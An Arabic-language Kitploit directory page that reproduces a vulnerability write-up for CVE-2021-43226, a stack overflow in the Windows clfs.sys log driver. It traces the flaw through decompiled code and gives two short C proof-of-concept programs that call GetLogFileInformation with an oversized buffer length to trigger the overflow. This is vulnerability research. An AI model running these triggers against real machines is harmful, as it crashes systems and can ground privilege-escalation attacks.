Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2021-43226PoC — إثبات مفهوم لـ cve-2021-43226، تجاوز سعة الرصة في مشغل Windows clfs.sys | Kitploit
أدوات/GitHubGitHub/rosayxy/cve-2021-43226poc
تحليل الثغرات الأمنيةالاستغلالاستغلال الملفات الثنائية
GitHubrosayxy/cve-2021-43226poc

cve-2021-43226PoC

إثبات مفهوم لـ cve-2021-43226، تجاوز سعة الرصة في مشغل Windows clfs.sys

عرض المستودع
21منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إعادة إنتاج CVE-2021-43226

البيئة

نظام التشغيل: Win10 20H2 على Hyper-V، الإصدار 19042.508، وجدت موقعًا https://os.click/en، صور Windows كاملة نسبيًا ولم أعثر على باب خلفي حتى الآن
نظرًا لأن الـ PoC الذي وجدته تم تجميعه باستخدام Visual Studio 2013، فقد استخدمت أيضًا Visual Studio 2013 لربط البرنامج بشكل ثابت

الثغرة

نقطة الثغرة موجودة في دالة CClfsLogFcbVirtual::QueryLogFileInfo داخل clfs.sys يصف توثيق Microsoft ملف clfs.sys على النحو التالي:

The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.

المؤشر الأول لهذه الدالة هو CClfsLogFcbVirtual* this، بمقارنة الكود قبل وبعد التصحيح، يمكن ملاحظة فرق واضح في جزء الكود التالي:

root@kitploit:~
v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))(
              *((_QWORD *)this + 78),
              a2,
              0i64,
              0i64,
              0,
              Src,
              Size);

هل تم تعيين Size إلى 120 قبل ذلك؟ من بين المعاملات الأخرى التي تستدعيها هذه الدالة، فإن a2 هو FILE_OBJECT، وSrc هو مصفوفة على المكدس (يقوم IDA بفك الترجمة إلى __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF) ووصف هذه الثغرة هو تجاوز سعة المكدس، مما يشير إلى أنه عندما يكون Size أكبر من 120، يحدث تجاوز سعة المكدس.

إحدى المشكلات التي واجهتها هي عدم القدرة على عرض cross reference مباشرة؛ حيث يتم استدعاء هذه الدالة عبر __guard_dispatch_icall_fptr، وما زلت في طور تحديد عملية تمرير المعاملات في استدعاء الدالة.

(تحديث): يتم استدعاء هذه الدالة بواسطة ClfsQueryLogFileInformation أو CClfsRequest::LogFileInfo، حيث تستخدم كل منهما واجهتي API CreateLogFile و GetLogFileInformation على التوالي. وبما أن سلسلة استدعاء GetLogFileInformation أقصر بشكل واضح، فقد اخترت واجهة API هذه لإحداث الانهيار.

الخطوة الأخيرة عند استدعاء GetLogFileInformation هي تمرير المعاملات على النحو التالي، داخل دالة LogFileInfo:

root@kitploit:~
v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
            *((_QWORD *)this + 18),
            v14,
            **(unsigned int **)(*((_QWORD *)this + 6) + 24i64));

حيث v14 هو FileObject، و this هو CClfsRequest يُمرر كمعامل إلى LogFileInfo.

نواصل النظر إلى الدالة التي تستدعي LogFileInfo، وهي CClfsRequest::Dispatch (التصريح المحدد هو __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)). تحدد هذه الدالة أي دالة يتم استدعاؤها بناءً على LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;، حيث CurrentStackLocation هو هيكل struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx يُمرر كمعامل. ويعتمد تعيين this على المعاملات التي تُمررها الدالة العليا إلى هذه الدالة dispatch، لذا ننظر إلى الأعلى أكثر.

التالي هو دالة CClfsDispatchIoRequest:

root@kitploit:~
v7 = CClfsRequest::Dispatch(v4, Irp, a1);

حيث a1 و Irp هما المعاملات المُمررة. a1 هو DeviceObject، و Irp هو مؤشر من نوع PIRP أي مؤشر IRP (يمكن الرجوع إلى IRP على https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp) يتم تعيين v4 كالتالي:

root@kitploit:~
v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
  v4 = CClfsRequest::CClfsRequest(v6);//v4 هو نوع int64

بعد ذلك، ننظر إلى تمرير المعاملات حتى دالة CClfsDriver::LogIoDispatch، التي تمرر المعاملات التي تستقبلها مباشرة إلى دالة CClfsDispatchIoRequest.

الخطوة التالية هي دالة nt!IofCallDriver، بتصريحها:

root@kitploit:~
NTSTATUS IofCallDriver(
  PDEVICE_OBJECT        DeviceObject,
  __drv_aliasesMem PIRP Irp
);

إعادة الإنتاج

أولاً، ابحث عن التصريح المحدد لواجهة API ومعاني معاملاتها.

GetLogFileInformation:

root@kitploit:~
CLFSUSER_API BOOL GetLogFileInformation(
  [in]      HANDLE            hLog,
  [in, out] PCLFS_INFORMATION pinfoBuffer,
  [in, out] PULONG            cbBuffer
);

تعريف المعاملات كالتالي:

  • hLog: مقبض السجل المفتوح الذي تم الحصول عليه من استدعاء ناجح لـ CreateLogFile. يمكن أن يشير مقبض السجل إلى سجل مخصص أو سجل متعدد الإرسال.
  • pinfoBuffer: مؤشر إلى هيكل CLFS_INFORMATION يخصصه المستخدم لاستقبال بيانات وصف السجل.
  • cbBuffer: مؤشر إلى متغير، يحدد عند الإدخال حجم المخزن المؤقت لبيانات الوصف المشار إليه بـ pinfoBuffer (بالبايت).
root@kitploit:~
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
	//إنشاء ملف سجل
	wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
	HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
	if (handle == INVALID_HANDLE_VALUE){
		printf("sad:(\n");
		abort();
	}
	printf("create log file success\n");
	//sizeof(CLS_INFORMATION) هو 120 أي 0x78
	CLFS_INFORMATION buffer;
	ULONG t = 0x120;
	BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
	return 0;
}

هنا، تم نسخ معاملات CreateLogFile و GetLogFileInformation وفقًا لوثائق Microsoft (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file).

ولكن واجهت مشكلة صغيرة مع اسم السجل؛ في البداية اتبعت المثال من الوثائق:

على سبيل المثال: المسار "LOG:c:\MyDirectory\MyLog" ينشئ الملف "c:\MyDirectory\MyLog.blf".

لكن اكتشفت أنه سيتم إنشاء ملف سجل باسم "c" في المجلد الحالي مباشرة. لذا نظرت إلى PoC (آخرين)، وغيرته إلى المسار العام على نظام Windows "LOG: C:\MyLog"، ولكن هذا أيضًا لم يعمل. عند التصحيح وجدت أنه لا يتم استدعاء CClfsLogFcbVirtual::QueryLogFileInfo بل يتم استدعاء دالة CClfsLogFcbPhysical::QueryLogFileInfo. لذلك أضفت اسم تدفق السجل (LogStreamName)، وعمل الأمر.

مشكلة صغيرة أخرى: عند إنشاء الكود في Visual Studio باستخدام الربط الثابت، بدون سطر #pragma comment(lib,"clfsw32.lib")، يستمر الرابط (linker) في الإبلاغ عن أخطاء عدم العثور على CreateLogFile و GetLogFileInformation.

PoC (للآخرين)

(https://github.com/KaLendsi/CVE-2021-43224-POC)

root@kitploit:~
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")

int main() {
	wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";

	//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";

	//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";

	//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0

	//SECURITY_ATTRIBUTES psaLogFile = {};
	HANDLE   hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
	if (INVALID_HANDLE_VALUE == hLog)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	if (!RegisterManageableLogClient(hLog, 0))
		printf("error=%d\n", GetLastError());
	printf("hLog=%p\n", hLog);
	CLFS_INFORMATION pinfoBuffer = {};

	//ULONG infoSize = sizeof(pinfoBuffer);
	ULONG infoSize = 0x110;

	//	system("pause");
	DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
	if (dwRet == NULL)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	printf("dwRet=%08x\n", dwRet);

	return 0;
}
تنزيل الأداة